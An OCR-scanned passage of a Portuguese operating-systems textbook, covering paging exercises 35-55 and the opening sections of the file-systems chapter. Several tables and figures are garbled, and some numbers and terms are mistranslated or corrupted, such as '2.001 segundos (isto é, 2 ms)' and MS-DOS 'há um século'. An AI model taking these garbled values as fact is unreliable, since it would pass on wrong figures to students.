as falhas diminuem, permanecem as mesmas ou aumentam? Explique sua resposta. 


35. Um computador possui quatro quadros de página. O horário de carregamento, horário do último acesso e o R 
e Mbits para cada página são mostrados abaixo (os tempos estão em tiques do relógio): 


| Página garregada Última ref. RM | 

[o 126 280 ERE 
[1 230 265 lo |i 
E 140 270 [o |o 
|3 110 285 EAE 


(a) Qual página o NRU substituirá? 
(b) Qual página o FIFO substituirá? 
(c) Qual página o LRU substituirá? 
(d) Qual página será substituída pela segunda chance? 


36. Suponha que dois processos A e B compartilhem uma página que não está na memória. Se o processo A 
falhas na página compartilhada, a entrada da tabela de páginas para o processo A deve ser atualizada assim que o 
a página é lida na memória. 


(a) Sob quais condições a atualização da tabela de páginas do processo B deve ser atrasada mesmo 
embora o tratamento da falha de página do processo A traga a página compartilhada para a memória? Explicar. 


(b) Qual é o custo potencial de atrasar a atualização da tabela de páginas? 
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37. Considere a seguinte matriz bidimensional: 
interno X[64][64]; 


Suponha que um sistema tenha quatro quadros de página e cada quadro tenha 128 palavras (um número inteiro 
ocupa uma palavra). Os programas que manipulam o array X cabem exatamente em uma página e sempre 
ocupam a página 0. Os dados são trocados dentro e fora dos outros três quadros. 

A matriz X é armazenada em ordem de linha maior (ou seja, X[0]1] segue X[0][0] na memória). 

Qual dos dois fragmentos de código mostrados abaixo gerará o menor número de falhas de página? Explique e 
calcule o número total de falhas de página. 


Fragmento A 
para (intj = 0; j < 64; j++) para 
(int i = 0; i < 64; i++) X[i]j] = 0; 


Fragmento B 
para (int i = 0; i < 64; i++) para 
(intj = 0; j < 64; j++) XL] = 0; 


38. Uma das primeiras máquinas de compartilhamento de tempo, a DEC PDP-1, tinha uma memória (núcleo) de palavras 
4K de 18 bits. Ele mantinha um processo por vez em sua memória. Quando o escalonador decidiu executar outro 
processo, o processo na memória foi gravado em um tambor de paginação, com palavras 4K de 18 bits ao redor 
da circunferência do tambor. O tambor poderia começar a escrever (ou ler) em qualquer palavra, e não apenas na 
palavra 0. Por que você acha que esse tambor foi escolhido? 


39. Um computador fornece a cada processo 65.536 bytes de espaço de endereço dividido em páginas de 4.096 bytes 
cada. Um programa específico tem um tamanho de texto de 32.768 bytes, um tamanho de dados de 16.386 bytes 
e um tamanho de pilha de 15.870 bytes. Este programa caberá no espaço de endereço da máquina? Suponha 
que em vez de 4.096 bytes, o tamanho da página fosse 512 bytes, caberia então? Cada página deve conter texto, 
dados ou pilha, e não uma mistura de dois ou três deles. 


40. Uma página pode estar em dois conjuntos de trabalho ao mesmo tempo? Explicar. 


41. Se uma página for compartilhada entre dois processos, é possível que a página seja somente leitura para 
um processo e leitura e gravação para o outro? Por que ou por que não? 


42. Observou-se que o número de instruções executadas entre falhas de página é diretamente proporcional ao número 
de quadros de página alocados a um programa. Se a memória disponível for duplicada, o intervalo médio entre 
faltas de página também será duplicado. Suponha que uma instrução normal leve 1 microssegundo, mas se 
ocorrer uma falha de página, serão necessários 2.001 segundos (isto é, 2 ms) para tratar a falha. Se um programa 
y leva 60 segundos para ser executado, e durante esse tempo ele apresenta 15.000 falhas de página, quanto 
tempo levaria para ser executado se o dobro da memória estivesse disponível? 


43. Um grupo de projetistas de sistemas operacionais da Frugal Computer Company está pensando em maneiras de 
reduzir a quantidade de armazenamento de apoio necessária em seu novo sistema operacional. O gerente do 
projeto apenas sugeriu não se preocupar em salvar o texto do programa na área de troca, mas apenas paginá-lo 
diretamente do arquivo binário sempre que necessário. Sob que condições, se houver, esta ideia funciona para o 
texto do programa? Sob quais condições, se houver, isso funciona para os dados? 
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44. Uma instrução em linguagem de máquina para carregar uma palavra de 32 bits em um registrador contém a palavra de 32 bits. 


endereço da palavra a ser carregada. Qual é o número máximo de falhas de página neste 
instrução pode causar? 


45. Explique a diferença entre fragmentação interna e fragmentação externa. 
Qual ocorre em sistemas de paginação? Qual delas ocorre em sistemas que utilizam segmentação pura? 


46. Quando segmentação e paginação estão sendo usadas, como em MULTICS, primeiro o segmento 
o descritor deve ser procurado e, em seguida, o descritor da página. O TLB também funciona assim 


maneira, com dois níveis de pesquisa? 


47. Consideramos um programa que tem os dois segmentos mostrados abaixo, consistindo em instruções no segmento 0 e 
dados de leitura/gravação no segmento 1. O segmento O tem proteção de leitura/execução e o segmento 1 tem apenas 
proteção de leitura/gravação. O sistema de memória é um sistema de memória virtual paginado sob demanda com 
endereços virtuais que possuem um número de página de 4 bits e 
um deslocamento de 10 bits. As tabelas de páginas e proteção são as seguintes (todos os números na tabela 
estão em decimais): 


Segmento 0 Segmento 1 
Ler/Executar Ler escrever 
Página virtual # Moldura da página # Página virtual # | quadro da página # 
0 2 0 No disco 
1 No disco 1 14 
2 11 2 9 
3 536 
4 No disco No disco 
5 No disco 13 
6 468 
7 3 7 12 


Para cada um dos casos a seguir, forneça o endereço de memória real (real) que 
resulta da tradução dinâmica de endereços ou identifica o tipo de falha que ocorre 
(página ou falha de proteção). 


(a) Buscar no segmento 1, página 1, deslocamento 3 

(b) Armazene no segmento 0, página 0, deslocamento 16 

(c) Buscar no segmento 1, página 4, deslocamento 28 

(d) Salte para o local no segmento 1, página 3, deslocamento 32 


48. Você consegue pensar em alguma situação em que oferecer suporte à memória virtual seria uma má ideia? 


e o que se ganharia se não fosse necessário suportar memória virtual? Explicar. 


49. A memória virtual fornece um mecanismo para isolar um processo de outro. O que 
dificuldades de gerenciamento de memória estariam envolvidas em permitir dois sistemas operacionais 


executar simultaneamente? Como essas dificuldades podem ser abordadas? 


50. Trace um histograma e calcule a média e a mediana dos tamanhos do binário executável 
arquivos em um computador ao qual você tem acesso. Em um sistema Windows, veja todos os .exe 


e arquivos .dll; em um sistema UNIX, observe todos os arquivos executáveis em /bin, /usr/ bin e 
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/local/bin que não são scripts (ou use o utilitário de arquivo para localizar todos os executáveis). Determine o 
tamanho de página ideal para este computador considerando apenas o código (não os dados). Considere a 
fragmentação interna e o tamanho da tabela de páginas, fazendo algumas suposições razoáveis sobre o tamanho 
de uma entrada da tabela de páginas. Suponha que todos os programas tenham a mesma probabilidade de serem 
executados e, portanto, devam ser igualmente ponderados. 


51. Escreva um programa que simule um sistema de paginação usando o algoritmo de envelhecimento. O número de 
quadros de página é um parâmetro. A sequência de referências de páginas deve ser lida de um arquivo. Para um 
determinado arquivo de entrada, represente graficamente o número de falhas de página por 1.000 referências de 
memória como uma função do número de quadros de página disponíveis. 


52. Escreva um programa que simule um sistema de paginação de brinquedo que use o algoritmo WSClock. 
O sistema é um brinquedo, pois assumiremos que não há referências de gravação (o que não é muito realista) e 
que o encerramento e a criação do processo são ignorados (vida eterna). As entradas são: 


* O limite de idade de recuperação + O 
intervalo de interrupção do relógio expresso como número de referências de memória + Um 
arquivo contendo a sequência de referências de páginas 


(a) Descreva as estruturas de dados e algoritmos básicos em sua implementação. (b) Mostre que sua 
simulação se comporta conforme esperado para uma entrada simples (mas não trivial). 

exemplo. 
(c) Faça um gráfico do número de falhas de página e do tamanho do conjunto de trabalho por 1.000 referências 


de memória. (d) Explique o que é necessário para estender o programa para lidar com um fluxo de referência de 
página que também inclui escritas. 


53. Escreva um programa que demonstre o efeito das falhas de TLB no tempo efetivo de acesso à memória, medindo o 
tempo por acesso necessário para percorrer um array grande. 


(a) Explique os principais conceitos por trás do programa e descreva o que você espera que o resultado mostre 
para alguma arquitetura prática de memória virtual. (b) Execute o programa em 

algum computador e explique até que ponto os dados atendem às suas expectativas 
ções. 


(c) Repita a parte (b), mas para um computador mais antigo com uma arquitetura diferente e explique quaisquer 
diferenças importantes na saída. 


54. Escreva um programa que demonstre a diferença entre usar uma política de substituição de página local e uma 
política global para o caso simples de dois processos. Você precisará de uma rotina que possa gerar uma string de 
referência de página com base em um modelo estatístico. 

Este modelo possui N estados numerados de 0 a N 1 representando cada uma das possíveis referências de página 
e uma probabilidade pi associada a cada estado i representando a chance de a próxima referência ser à mesma 


página. Caso contrário, a referência da próxima página será uma das outras páginas com igual probabilidade. 


(a) Demonstre que a rotina de geração de string de referência de página se comporta adequadamente para 
algum pequeno N. 

(b) Calcule a taxa de falhas de página para um pequeno exemplo em que há um processo e um número fixo de 
quadros de página. Explique por que o comportamento está correto. (c) Repita a parte 

(b) com dois processos com sequências de referência de página independentes e duas vezes mais quadros de 
página do que na parte (b). (d) Repita a parte (c), mas 

usando uma política global em vez de uma política local. Além disso, compare o 
taxa de falha de página por processo com a da abordagem de política local. 
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55. Escreva um programa que possa ser usado para comparar a eficácia da adição de um campo de tag às 
entradas TLB quando o controle é alternado entre dois programas. O campo tag é usado para rotular 
efetivamente cada entrada com o ID do processo. Observe que um TLB não marcado pode ser simulado 
exigindo que todas as entradas do TLB tenham a mesma tag ao mesmo tempo. As entradas serão: 


* O número de entradas TLB disponíveis 


* O intervalo de interrupção do relógio expresso como número de referências de memória 
* Um arquivo contendo uma sequência de entradas (processo, referências de 
página) + O custo para atualizar uma entrada TLB 


(a) Descreva as estruturas de dados e algoritmos básicos em sua implementação. b) Mostre 

que sua simulação se comporta conforme esperado para uma entrada simples (mas não trivial) 
exemplo. 

(c) Trace o número de atualizações de TLB por 1.000 referências. 
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SISTEMAS DE ARQUIVOS 


Todos os aplicativos de computador precisam armazenar e recuperar informações. Enquanto um processo 
está em execução, ele pode armazenar uma quantidade limitada de informações na RAM física. Para muitas 
aplicações, a quantidade de memória é muito pequena e algumas até precisam de muitos terabytes de 
armazenamento. 

Um segundo problema com a manutenção de informações na RAM é que quando o processo termina, as 
informações são perdidas. Para muitas aplicações (por exemplo, para bancos de dados), as informações devem 
ser retidas por semanas, meses ou até mesmo para sempre. Fazê-lo desaparecer quando o processo que o utiliza 
termina é inaceitável. Além disso, ele não deve desaparecer quando uma falha no computador interrompe o 


processo ou a energia é interrompida durante uma tempestade elétrica. 


Um terceiro problema é que frequentemente é necessário que vários processos acessem (partes de) a 
informação ao mesmo tempo. Se tivermos uma lista telefônica on-line armazenada no espaço de endereço de um 
único processo, somente esse processo poderá acessá-la, a menos que seja compartilhada explicitamente. A 
maneira de resolver esse problema é tornar a própria informação independente de qualquer processo. 

Assim, temos três requisitos essenciais para o armazenamento de informações a longo prazo: 

1. Deve ser possível armazenar uma grande quantidade de informações. 
2. A informação deve sobreviver ao término do processo que a utiliza. 
3. Vários processos devem poder acessar as informações ao mesmo tempo. 


Os discos magnéticos têm sido usados há anos para esse armazenamento de longo prazo. Embora esses 
discos ainda sejam amplamente utilizados, as unidades de estado sólido (SSDs) também se tornaram extremamente 
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popular, complementando ou substituindo suas contrapartes magnéticas. Comparados aos discos 
rígidos, eles não possuem partes móveis que possam quebrar e oferecem acesso rápido e aleatório. 
Fitas e discos ópticos não são mais tão populares como costumavam ser e têm desempenho muito 
inferior. Hoje em dia, se são usados, normalmente é para backups. Estudaremos mais detalhes sobre 
discos rígidos magnéticos e SSDs no Cap. 5. No momento, você pode pensar em ambos como discos, 
embora, estritamente falando, um SSD não seja um disco. Aqui, "semelhante a disco" significa que ele 
suporta uma interface que parece ser uma sequência linear de blocos de tamanho fixo e suporta duas 
operações: 


1. Leia o bloco k 


2. Escreva o bloco k 


Na realidade há mais, mas com estas duas operações poder-se-ia, em princípio, resolver o problema do 
armazenamento a longo prazo. 

No entanto, estas são operações muito inconvenientes, especialmente em grandes sistemas 
utilizados por muitas aplicações e possivelmente por vários usuários (por exemplo, em um servidor). 
Apenas algumas das questões que surgem rapidamente são: 


1. Como você encontra informações? 
2. Como evitar que um usuário leia os dados de outro usuário? 
3. Como saber quais blocos são gratuitos? 


E há muito mais. 

Assim como vimos como o sistema operacional abstraiu o conceito de processador para criar a 
abstração de um processo e como ele abstraiu o conceito de memória física para oferecer espaços de 
endereço (virtuais) aos processos, podemos resolver esse problema com uma nova abordagem. 
abstração: o arquivo. Juntas, as abstrações de processos (e threads), espaços de endereço e arquivos 
são os conceitos mais importantes relacionados aos sistemas operacionais. Se você realmente entende 
esses três conceitos do começo ao fim, você está no caminho certo para se tornar um especialista em 
sistemas operacionais. 

Arquivos são unidades lógicas de informação criadas por processos. Um disco geralmente contém 
milhares ou até milhões deles, cada um independente dos outros. Na verdade, se você pensar em cada 
arquivo como uma espécie de espaço de endereço, não estará tão longe assim, exceto que eles são 
usados para modelar o disco em vez de modelar a RAM. 

Os processos podem ler arquivos existentes e criar novos, se necessário. As informações 
armazenadas nos arquivos devem ser persistentes, ou seja, não serem afetadas pela criação e 
encerramento do processo. Um arquivo deve desaparecer somente quando seu proprietário o remove explicitamente. 
Embora as operações de leitura e gravação de arquivos sejam as mais comuns, existem muitas outras, 
algumas das quais examinaremos a seguir. 

Os arquivos são gerenciados pelo sistema operacional. Como eles são estruturados, nomeados, 
acessados, usados, protegidos, implementados e gerenciados são tópicos importantes no design de 
sistemas operacionais. Como um todo, a parte do sistema operacional que lida com arquivos é 
conhecida como sistema de arquivos e é o assunto deste capítulo. 
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Do ponto de vista do usuário, o aspecto mais importante de um sistema de arquivos é como ele 
aparece, em outras palavras, o que constitui um arquivo, como os arquivos são nomeados e protegidos, 
quais operações são permitidas nos arquivos e assim por diante. Os detalhes sobre se listas vinculadas 
ou bitmaps são usados para controlar o armazenamento livre e quantos setores existem em um bloco 
de disco lógico não são de interesse, embora sejam de grande importância para os projetistas do 
sistema de arquivos. Por esse motivo, estruturamos o capítulo em diversas seções. Os dois primeiros 
dizem respeito à interface do usuário com arquivos e diretórios, respectivamente. Depois vem uma 
discussão detalhada de como o sistema de arquivos é implementado e gerenciado. Finalmente, damos 
alguns exemplos de sistemas de arquivos reais. 


4.1 ARQUIVOS 


Nas páginas seguintes, veremos os arquivos do ponto de vista do usuário, que 
é, como eles são usados e quais propriedades eles possuem. 


4.1.1 Nomenclatura de Arquivos 


Um arquivo é um mecanismo de abstração. Ele fornece uma maneira de armazenar informações 
no disco e lê-las posteriormente. Isto deve ser feito de forma a proteger o usuário dos detalhes de 
como e onde as informações são armazenadas e de como os discos realmente funcionam. 


Provavelmente a característica mais importante de qualquer mecanismo de abstração é a forma 
como os objetos gerenciados são nomeados; portanto, iniciaremos nosso exame de sistemas de 
arquivos com o assunto de nomenclatura de arquivos. Quando um processo cria um arquivo, ele dá 
um nome ao arquivo. Quando o processo termina, o arquivo continua existindo e pode ser acessado 
por outros processos usando seu nome. 

As regras exatas para nomenclatura de arquivos variam um pouco de sistema para sistema, mas 
todos os sistemas operacionais atuais permitem sequências de letras como nomes de arquivos legais. 
Assim, andrea, bruce e cathy são nomes de arquivo possíveis. Frequentemente, dígitos e caracteres 
especiais também são permitidos, portanto, nomes como 2, urgente! e Fig.2-14 também são válidos. 
Alguns sistemas de arquivos mais antigos, como aquele usado no MS-DOS há um século, limitam os 
nomes de arquivos a no máximo oito letras, mas a maioria dos sistemas modernos suporta nomes de 
arquivos de até 255 caracteres ou mais. 

Alguns sistemas de arquivos distinguem entre letras maiúsculas e minúsculas, enquanto outros 
não. UNIX se enquadra na primeira categoria; o antigo MS-DOS cai no segundo. Assim, um sistema 
UNIX pode ter todos os seguintes itens como três arquivos distintos: maria, Maria e MARIA. No MS- 
DOS, todos esses nomes referem-se ao mesmo arquivo. 

Um aparte sobre sistemas de arquivos provavelmente é adequado aqui. Versões mais antigas do 
Windows (como o Windows 95 e o Windows 98) usavam o sistema de arquivos MS-DOS, chamado 
FAT-16, e assim herdaram muitas de suas propriedades, como a forma como os nomes dos arquivos 
são construídos. É certo que o Windows 98 introduziu algumas extensões ao FAT -16, levando ao 
FAT-32, mas estas duas são bastante semelhantes. Todas as versões modernas do Windows ainda 
suportam os sistemas de arquivos FAT, embora também tenham um sistema de arquivos muito mais avançado. 
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sistema de arquivos nativo (NTFS) que possui propriedades diferentes (como nomes de arquivos em código Uni). 
Discutiremos o NTFS no Cap. 11. Existe também um segundo sistema de arquivos para 
Windows, conhecido como ReFS (Resilient File System), mas esse é voltado para o 
versão do servidor do Windows. Neste capítulo, quando nos referimos ao MS-DOS ou FAT 
sistemas de arquivos, queremos dizer FAT -16 e FAT -32 conforme usado no Windows, a menos que especificado 
de outra forma. Discutiremos os sistemas de arquivos FAT posteriormente neste capítulo e NTFS em 
Indivíduo. 12, onde examinaremos o Windows 10 em detalhes. Aliás, há também 
um sistema de arquivos semelhante ao FAT ainda mais recente, conhecido como sistema de arquivos exFAT , um sistema de arquivos da Microsoft 
extensão para FAT -32 otimizada para unidades flash e sistemas de arquivos grandes. 
Muitos sistemas operacionais suportam nomes de arquivos de duas partes, com as duas partes separadas 
por um ponto, como em prog.c. A parte após o ponto final é chamada de arquivo 
extensão e geralmente indica algo sobre o arquivo. No MS-DOS, por exemplo, os nomes dos arquivos tinham 
de 1 a 8 caracteres, além de uma extensão opcional de 1 a 3 caracteres. 
No UNIX, o tamanho da extensão, se houver, fica a critério do usuário, e um arquivo pode até 
ter duas ou mais extensões, como em homepage.htm!l.zip, onde .html indica uma Web 
página em HTML e .zip indica que o arquivo (homepage.htm!l) foi compactado usando o programa zip . Algumas 
das extensões de arquivo mais comuns e suas 
significados são mostrados na Figura 4-1. 


Extensão Significado 
„bak Arquivo de backup 
'€ Programa fonte C 
„gif Compuserve Graphical Interchange para imagem mat 
html Documento de linguagem de marcação de hipertexto da World Wide Web 


Imagem estática codificada com o padrão JPEG 


.jpg-mp3 Música codificada em áudio MPEG camada 3 para mat 
.mpg Filme codificado com o padrão MPEG 

-0 Arquivo de objeto (saída do compilador, ainda não vinculado) 
.pdf Documento de tabela Por para arquivo mat 

.ps Arquivo PostScr ipt 

tex Entrada para o programa TEX para fosqueamento 

.TXT Arquivo de texto geral 


deco ec Arquivo compactado 


Figura 4-1. Algumas extensões de arquivo típicas. 


Em alguns sistemas (por exemplo, todos os tipos de UNIX), as extensões de arquivo são apenas 
convenções e não são impostas pelo sistema operacional. Um arquivo chamado file.txt pode ser 
algum tipo de arquivo de texto, mas esse nome serve mais para lembrar o proprietário do que para transmitir 
qualquer informação real para o computador. Por outro lado, um compilador C pode realmente insistir que os 
arquivos que deve compilar terminem em .c, e pode recusar-se a compilá-los se 


eles não. No entanto, o sistema operacional não se importa. 
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Convenções como esta são especialmente úteis quando o mesmo programa pode lidar com vários 
tipos diferentes de arquivos. O compilador C, por exemplo, pode receber uma lista de vários arquivos 
para compilar e vincular, alguns deles arquivos C e alguns deles arquivos de linguagem assembly. A 
extensão torna-se então essencial para o compilador saber quais são arquivos C, quais são arquivos 
assembly e quais são outros arquivos. 

Por outro lado, o Windows está ciente das extensões e atribui significado a elas. 

Os usuários (ou processos) podem registrar extensões no sistema operacional e especificar para cada 
um qual programa “possui” aquela extensão. Quando um usuário clica duas vezes no nome de um 
arquivo, o programa atribuído à sua extensão de arquivo é iniciado com o arquivo como parâmetro. Por 
exemplo, clicar duas vezes em arquivo.docx inicia o Microsoft Word com arquivo.docx como o arquivo 
inicial a ser editado. Por outro lado, o Photoshop não abrirá arquivos que terminam em .docx, não importa 
quantas vezes ou com que força você clique no nome do arquivo, porque sabe que arquivos .docx não 
são arquivos de imagem. 


4.1.2 Estrutura do Arquivo 


Os arquivos podem ser estruturados de diversas maneiras. Três possibilidades comuns são 
mostradas na Figura 4-2. O arquivo na Figura 4.2(a) é uma sequência não estruturada de bytes. 
Na verdade, o sistema operacional não sabe nem se importa com o que está no arquivo. Tudo o que vê 
são bytes. Qualquer significado deve ser imposto por programas no nível do usuário. Tanto o UNIX 
quanto o Windows usam essa abordagem. 


1 byte 1 registro 


ES Rapos) Porco | 


EEE 


(a) (b) (c) 


Figura 4-2. Três tipos de arquivos. (a) Sequência de bytes. (b) Sequência de registro. 
(c) Árvore. 


Fazer com que o sistema operacional considere os arquivos nada mais do que sequências de bytes 
fornece o máximo de flexibilidade. Os programas do usuário podem colocar o que quiserem em seus 
arquivos e nomeá-los da maneira que acharem conveniente. O sistema operacional não ajuda, mas 
também não atrapalha. Para usuários que desejam fazer 
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coisas incomuns, estas últimas podem ser muito importantes. Todas as versões do UNIX (incluindo 
Linux e MacOS), bem como do Windows, usam este modelo de arquivo. Vale ressaltar que neste 
capítulo quando falamos sobre UNIX o texto geralmente aplica MacOS (que foi baseado no Berkeley 
UNIX) e Linux (que foi cuidadosamente projetado para ser compatível com UNIX). 


O primeiro passo na estrutura é ilustrado na Figura 4.2(b). Neste modelo, um arquivo é uma 
sequência de registros de comprimento fixo, cada um com alguma estrutura interna. Central para a 
ideia de um arquivo ser uma sequência de registros é a ideia de que a operação de leitura retorna um 
registro e a operação de gravação substitui ou anexa um registro. Como observação histórica, nas 
décadas passadas, quando o cartão perfurado de 80 colunas era praticamente o único meio de 
entrada disponível, muitos sistemas operacionais (mainframe) baseavam seus sistemas de arquivos 
em arquivos que consistiam em registros de 80 caracteres, na verdade, imagens de cartões. . 

Esses sistemas também suportavam arquivos de registros de 132 caracteres, destinados à impressora 
de linha (que naquela época eram impressoras de grandes cadeias com 132 colunas). Os programas 
lêem a entrada em unidades de 80 caracteres e a escrevem em unidades de 132 caracteres, embora 
os 52 finais possam ser espaços, é claro. Nenhum sistema atual de uso geral usa mais esse modelo 
como sistema de arquivos principal, mas na época dos cartões perfurados de 80 colunas e do papel 
para impressora de linha de 132 caracteres, esse era um modelo comum em computadores mainframe. 


O terceiro tipo de estrutura de arquivos é mostrado na Figura 4.2(c). Nesta organização, um 
arquivo consiste em uma árvore de registros, não necessariamente todos do mesmo comprimento, 
cada um contendo um campo- chave em uma posição fixa no registro. A árvore é classificada no 
campo-chave, para permitir a busca rápida por uma chave específica. 

A operação básica aqui não é obter o “próximo” registro, embora isso também seja possível, mas 
sim obter o registro com uma chave específica. Para o arquivo zoo da Figura 4.2(c), pode-se pedir ao 
sistema para obter o registro cuja chave é pônei, por exemplo, sem se preocupar com sua posição 
exata no arquivo. Além disso, novos registros podem ser adicionados ao arquivo, cabendo ao sistema 
operacional, e não ao usuário, decidir onde colocá-los. Esse tipo de arquivo é claramente diferente 
dos fluxos de bytes não estruturados usados no UNIX e no Windows e é usado em alguns grandes 
computadores mainframe para processamento de dados comerciais. 


4.1.3 Tipos de Arquivo 


Muitos sistemas operacionais oferecem suporte a vários tipos de arquivos. UNIX (novamente, 
incluindo MacOS e Linux) e Windows, por exemplo, possuem arquivos e diretórios regulares. 
UNIX também possui arquivos especiais de caracteres e blocos. Arquivos regulares são aqueles 
que contêm informações do usuário. Todos os arquivos da Figura 4-2 são arquivos regulares, pois 
são os arquivos com os quais a maioria dos usuários lida. Diretórios são arquivos de sistema para 
manter a estrutura do sistema de arquivos. Estudaremos os diretórios abaixo. Arquivos especiais 
de caracteres estão relacionados à entrada/saída e são usados para modelar dispositivos de E/S 
seriais, como terminais, impressoras e redes. Arquivos especiais de bloco são usados para modelar 
discos. Neste capítulo, estaremos interessados principalmente em arquivos regulares. 
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Arquivos regulares geralmente são arquivos ASCII ou arquivos binários. Arquivos ASCII consistem em 
linhas de texto. Em alguns sistemas, cada linha termina com um retorno de carro 
personagem. Em outros, o caractere de alimentação de linha é usado. Alguns sistemas (por exemplo, Windows) 
use ambos. As linhas não precisam ter todas o mesmo comprimento. 

A grande vantagem dos arquivos ASCII é que eles podem ser exibidos e impressos como 
é, e eles podem ser editados com qualquer editor de texto. Além disso, se um grande número de 
programas usam arquivos ASCII para entrada e saída, é fácil conectar a saída de 
um programa para a entrada de outro, como em pipelines de shell. (O interprocesso 
O encanamento não é mais fácil, mas interpretar a informação certamente é se uma convenção padrão, como 
ASCII, for usada para expressá-la.) 

Outros arquivos são binários, o que significa apenas que não são arquivos ASCII. Listagem 
colocá-los na impressora fornece uma lista incompreensível cheia de lixo aleatório. Geralmente, 
eles têm alguma estrutura interna conhecida pelos programas que os utilizam. 

Por exemplo, na Figura 4-3(a), vemos um arquivo binário executável simples retirado de 
uma versão inicial do UNIX. Embora tecnicamente o arquivo seja apenas uma sequência de bytes, 
o sistema operacional executará um arquivo somente se ele tiver o formato adequado. Tem cinco 
seções: cabeçalho, texto, dados, bits de realocação e tabela de símbolos. O cabeçalho começa 
com um número mágico, identificando o arquivo como um arquivo executável (para evitar a execução acidental 
de um arquivo que não esteja neste formato). Depois vêm os tamanhos dos vários 
partes do arquivo, o endereço no qual a execução começa e alguns bits de sinalização. Depois 
o cabeçalho são o texto e os dados do próprio programa. Eles são carregados na memória e realocados usando 
os bits de relocação. A tabela de símbolos é para depuração. 

Nosso segundo exemplo de arquivo binário é um arquivo, também do UNIX. Consiste 
de uma coleção de procedimentos de biblioteca (módulos) compilados, mas não vinculados. Cada um 
é prefaciado por um cabeçalho informando seu nome, data de criação, proprietário, código de proteção e 
tamanho. Assim como acontece com o arquivo executável, os cabeçalhos dos módulos estão cheios de números 
binários. Copiá-los para a impressora produziria um jargão completo. 

Todo sistema operacional deve reconhecer pelo menos um tipo de arquivo: seu próprio arquivo executável; 
alguns reconhecem mais. O antigo sistema TOPS-20 (para o sistema DEC 
20) chegou ao ponto de examinar o tempo de criação de qualquer arquivo a ser executado. Então isso 
localizei o arquivo fonte e vi se a fonte havia sido modificada desde o 
binário foi feito. Se tivesse sido, ele recompilou automaticamente a fonte. Em UNIX 
termos, o programa make foi incorporado ao shell. As extensões dos arquivos eram 
obrigatório, para que pudesse dizer qual programa binário foi derivado de qual fonte. 

Ter arquivos fortemente digitados como este causa problemas sempre que o usuário o faz 
qualquer coisa que os projetistas do sistema não esperavam. Considere, como exemplo, um sistema no qual os 
arquivos de saída do programa possuem extensão .dat (arquivos de dados). Se um usuário escrever 
um formatador de programa que lê um arquivo .c (programa C), o transforma (por exemplo, convertendo-o em 
um layout de indentação padrão) e então grava o arquivo transformado como saída, o arquivo de saída será do 
tipo .dat . Se o usuário tentar oferecer isso ao compilador C para compilá-lo, o sistema recusará porque possui a 
extensão errada. 
Tentativas de copiar arquivo.dat para arquivo.c serão rejeitadas pelo sistema como inválidas (para proteger o 


usuário contra erros). 
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Nome do 
módulo 
Cabeçalho 


So 
de objeto 
Proteção 


Cabeçalho 


Tamanho da tabela de símbolos 


Ponto de entrada 


AU 
| 


Texto 


Módulo 
de objeto 
Dados 
Cabeçalho 
Bits de 


realocação 


Módulo 
de objeto 


Tabela de 


| símbolos | 


(a) (b) 


Figura 4-3. (a) Um arquivo executável. (b) Um arquivo. 


Embora esse tipo de “facilidade de uso” possa ajudar os novatos, ele deixa os usuários experientes 
malucos, já que eles têm que dedicar um esforço considerável para contornar a ideia do sistema 
operacional sobre o que é razoável e o que não é. 

A maioria dos sistemas operacionais oferece uma série de ferramentas para examinar arquivos. Por 
exemplo, no UNIX você pode usar o utilitário de arquivo para examinar o tipo de arquivos. Ele usa 
heurística para determinar se algo é um arquivo de texto, um diretório, um executável, etc. Exemplos de 
seu uso podem ser encontrados na Figura 4.4. 


4.1.4 Acesso a arquivos 


Os primeiros sistemas operacionais forneciam apenas um tipo de acesso a arquivos: acesso 
sequencial. Nesses sistemas, um processo poderia ler todos os bytes ou registros em um arquivo em 
ordem, começando do início, mas não poderia pular e lê-los fora da ordem. 
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Comando Resultado 


arquivo README.txt Textg Unicode UTF-8 


arquivo hjb.sh Script shell POSIX, script makefile executável em texto 


arquivo Makefile ASCII, arquivo de texto ASCII /usr/bin/ 


less link simbólico para /bif/less arquivo /bin/ diretor e ELF objeto 


compartilhado LSB de 64 bits, x86-64 


arquivo /bin/menos [...mais informações ...] 


Figura 4-4. Descobrindo os tipos de arquivo. 


ordem. No entanto, os arquivos sequenciais podem ser rebobinados, para que possam ser lidos com a 
frequência necessária. Os arquivos sequenciais eram convenientes quando o meio de armazenamento era 
fita magnética em vez de disco. 

Quando os discos começaram a ser usados para armazenar arquivos, tornou-se possível ler os bytes 
ou registros de um arquivo fora de ordem, ou acessar registros por chave em vez de por posição. 

Arquivos cujos bytes ou registros podem ser lidos em qualquer ordem são chamados de arquivos de 
acesso aleatório. Eles são exigidos por muitas aplicações. 

Arquivos de acesso aleatório são essenciais para muitas aplicações, por exemplo, sistemas de banco 
de dados. Se um cliente de uma companhia aérea ligar e quiser reservar um assento em um voo específico, 
o programa de reserva deverá ser capaz de acessar o registro desse voo sem ter que ler primeiro os 
registros de milhares de outros voos. 

Dois métodos podem ser usados para especificar onde começar a leitura. No primeiro, cada operação 
de leitura fornece a posição no arquivo para iniciar a leitura. No segundo, é fornecida uma operação especial, 
seek, para definir a posição atual. Após uma busca, o arquivo pode ser lido sequencialmente a partir da 
posição atual. O último método é usado em UNIX e Windows. 


4.1.5 Atributos de arquivo 


Cada arquivo tem um nome e seus dados. Além disso, todos os sistemas operacionais associam 
outras informações a cada arquivo, por exemplo, a data e hora em que o arquivo foi modificado pela última 
vez e o tamanho do arquivo. Chamaremos esses itens extras de atributos do arquivo. 

Algumas pessoas os chamam de metadados. A lista de atributos varia consideravelmente de sistema para 
sistema. A tabela da Figura 4-5 mostra algumas das possibilidades, mas também existem outras. Nenhum 
sistema existente possui tudo isso, mas cada um está presente em algum sistema. 


Os primeiros quatro atributos estão relacionados à proteção do arquivo e informam quem pode acessá- 
lo e quem não pode. Todos os tipos de esquemas são possíveis, alguns dos quais estudaremos mais tarde. 
Em alguns sistemas o usuário deve apresentar uma senha para acessar um arquivo, neste caso a senha 
deve ser um dos atributos. 

Os sinalizadores são bits ou campos curtos que controlam ou habilitam alguma propriedade específica. 
Arquivos ocultos, por exemplo, não aparecem nas listagens de todos os arquivos. A bandeira de arquivo 
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Atributo Significado 
Proteção Quem pode acessar o arquivo e de que forma 
Senha Senha necessária para acessar o arquivo 
O Criador ID da pessoa que criou o arquivo 
Proprietário Proprietário atual 


Sinalizador somente leitura O para lgitura/gravação; 1 para somente leitura 


Sinalizador oculto O para normal; 1 para não exibir nas listagens 


Sinalizador de sistema 0 para arquivos normais; 1 para arquivo de sistema 


Sinalizador de arquivo 0 para backup; 1 para necessidades de backup 


ASCll/binar e sinalizador O para farquivo ASCII; 1 para arquivo binário 


